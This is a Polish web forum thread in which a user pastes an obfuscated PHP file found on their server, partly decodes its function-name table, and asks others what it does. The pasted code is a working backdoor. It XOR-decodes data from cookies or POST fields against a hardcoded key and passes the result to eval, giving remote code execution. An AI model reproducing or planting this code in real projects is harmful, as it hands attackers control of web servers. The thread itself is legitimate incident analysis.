[PHP]Analiza działania złośliwego kodu Opcje

[q3d]

Na serwerze znalazłem taki plik (formatowanie własne)

[PHP] pobierz, plaintext 
<?php
$qewsiyy = 'u3vglopx\'skide5cr_#y0t6m-7an1*4bH';
$snluzw = Array();
$snluzw[] = $qewsiyy[32].$qewsiyy[29];
$snluzw[] = $qewsiyy[18];
$snluzw[] = $qewsiyy[28].$qewsiyy[15].$qewsiyy[1].$qewsiyy[22].$qewsiyy[30].$qewsiyy[15].$qewsiyy[26].$qewsiyy[31].$qewsiyy[24].
$qewsiyy[26].$qewsiyy[25].$qewsiyy[26].$qewsiyy[20].$qewsiyy[24].$qewsiyy[30].$qewsiyy[28].$qewsiyy[28].$qewsiyy[26]
.$qewsiyy[24].$qewsiyy[31].$qewsiyy[22].$qewsiyy[14].$qewsiyy[15].$qewsiyy[24].$qewsiyy[22].$qewsiyy[13].$qewsiyy[30]
.$qewsiyy[20].$qewsiyy[15].$qewsiyy[20].$qewsiyy[31].$qewsiyy[26].$qewsiyy[25].$qewsiyy[28].$qewsiyy[28].$qewsiyy[20];
$snluzw[] = $qewsiyy[15].$qewsiyy[5].$qewsiyy[0].$qewsiyy[27].$qewsiyy[21];
$snluzw[] = $qewsiyy[9].$qewsiyy[21].$qewsiyy[16].$qewsiyy[17].$qewsiyy[16].$qewsiyy[13].$qewsiyy[6].$qewsiyy[13].$qewsiyy[26].$qewsiyy[21];
$snluzw[] = $qewsiyy[13].$qewsiyy[7].$qewsiyy[6].$qewsiyy[4].$qewsiyy[5].$qewsiyy[12].$qewsiyy[13];
$snluzw[] = $qewsiyy[9].$qewsiyy[0].$qewsiyy[31].$qewsiyy[9].$qewsiyy[21].$qewsiyy[16];
$snluzw[] = $qewsiyy[26].$qewsiyy[16].$qewsiyy[16].$qewsiyy[26].$qewsiyy[19].$qewsiyy[17].$qewsiyy[23].$qewsiyy[13]
.$qewsiyy[16].$qewsiyy[3].$qewsiyy[13];
$snluzw[] = $qewsiyy[9].$qewsiyy[21].$qewsiyy[16].$qewsiyy[4].$qewsiyy[13].$qewsiyy[27];
$snluzw[] = $qewsiyy[6].$qewsiyy[26].$qewsiyy[15].$qewsiyy[10];
 
foreach ($snluzw[7]($_COOKIE, $_POST) as $ennjrvq => $bjnyx) {
	function zjmihc($snluzw, $ennjrvq, $vcuum) {
		return $snluzw[6]($snluzw[4]($ennjrvq . $snluzw[2], ($vcuum / $snluzw[8]($ennjrvq)) + 1), 0, $vcuum);
	}
 
	function vvlhqlo($snluzw, $pgyvhju){
		return @$snluzw[9]($snluzw[0], $pgyvhju);
	}
 
	function ttpuw($snluzw, $pgyvhju){
		$lmczvy = $snluzw[3]($pgyvhju) % 3;
 
		if (!$lmczvy) {
			eval($pgyvhju[1]($pgyvhju[2]));
			exit();
		}
	}
 
	$bjnyx = vvlhqlo($snluzw, $bjnyx);
	ttpuw($snluzw, $snluzw[5]($snluzw[1], $bjnyx ^ zjmihc($snluzw, $ennjrvq, $snluzw[8]($bjnyx))));
}
[PHP] pobierz, plaintext 

Ja rozumie na razie z tego tyle:
1)

[PHP] pobierz, plaintext 
$qewsiyy = 'u3vglopx\'skide5cr_#y0t6m-7an1*4bH';
[PHP] pobierz, plaintext 

Łańcuch znaków z których budowane są polecenia wewnątrz tablicy $snluzw

[HTML] pobierz, plaintext 
Array
(
    [0] => H*
    [1] => #
    [2] => 1c364cab-a7a0-411a-b65c-6e40c0ba7110
    [3] => count
    [4] => str_repeat
    [5] => explode
    [6] => substr
    [7] => array_merge
    [8] => strlen
    [9] => pack
)
[HTML] pobierz, plaintext 

2)

[PHP] pobierz, plaintext 
foreach ($snluzw[7]($_COOKIE, $_POST) as $ennjrvq => $bjnyx) {
[PHP] pobierz, plaintext 

Dla wszystkich elementów połączonych tablic $_COOKIE i $_POST ($snluzw[7] to polecenie array_merge) wykonywane są instrukcje wewnątrz pętli.

3)

[PHP] pobierz, plaintext 
	$bjnyx = vvlhqlo($snluzw, $bjnyx);
	ttpuw($snluzw, $snluzw[5]($snluzw[1], $bjnyx ^ zjmihc($snluzw, $ennjrvq, $snluzw[8]($bjnyx))));
[PHP] pobierz, plaintext 

Instrukcje to wywołania trzech funkcji vvlhqlo(), ttpuw(), zjmihc() zdeklarowanych wewnątrz funkcji (po co zdeklarowane wewnątrz?)

No i dalej już mało rozumiem. Co tam się dzieje i po co?

Ten post edytował q3d 21.04.2018, 14:48:22

[wxm]

Sprawdzałeś co przylatuje postem do tego pliku?